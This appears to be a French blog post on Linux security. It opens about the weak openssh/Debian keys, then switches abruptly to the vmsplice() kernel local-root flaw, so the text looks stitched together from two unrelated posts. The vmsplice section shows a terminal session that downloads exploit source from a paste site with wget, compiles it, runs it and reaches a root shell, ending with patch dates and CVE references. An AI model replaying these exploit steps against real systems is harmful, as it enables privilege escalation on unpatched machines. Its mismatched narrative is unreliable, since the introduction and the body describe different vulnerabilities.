→ Il faut remplacer les clés RSA générées avec la version d’openssh non sûre et les clés DSA utilisées avec un système Debian ou dérivé qui utilisait la version incriminée (même si j’espère que c’est déjà fait, vu mon temps de réaction ).

Le trou de sécurité a été révélé le 13 mai, et il ne cesse de faire parler de lui dans les forums, sur les blogs, et dans les listes de diffusions. Il y a une raison à cela ; la faille (qui a vécu 2 ans !) est extrêmement grave, elle met directement en péril la sécurité d’une distribution réputée qui équipe bon nombre de serveurs. De plus, la mise à jour ne suffit pas à la combler. C’est une affaire bien sombre qui a secoué la blogosphère libre ces derniers jours, mais qui n’empêche pas de rigoler : terminons ce billet sur une note d’humour, mieux vaut en rire qu’en pleurer !

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;

• Un article technique de LWN.
• Le changelog de la version 2.6.24.2.
• Avis de sécurité : Secunia – FrSirt – CVE-2008-0009 – CVE-2008-0010 – CVE-2008-0600.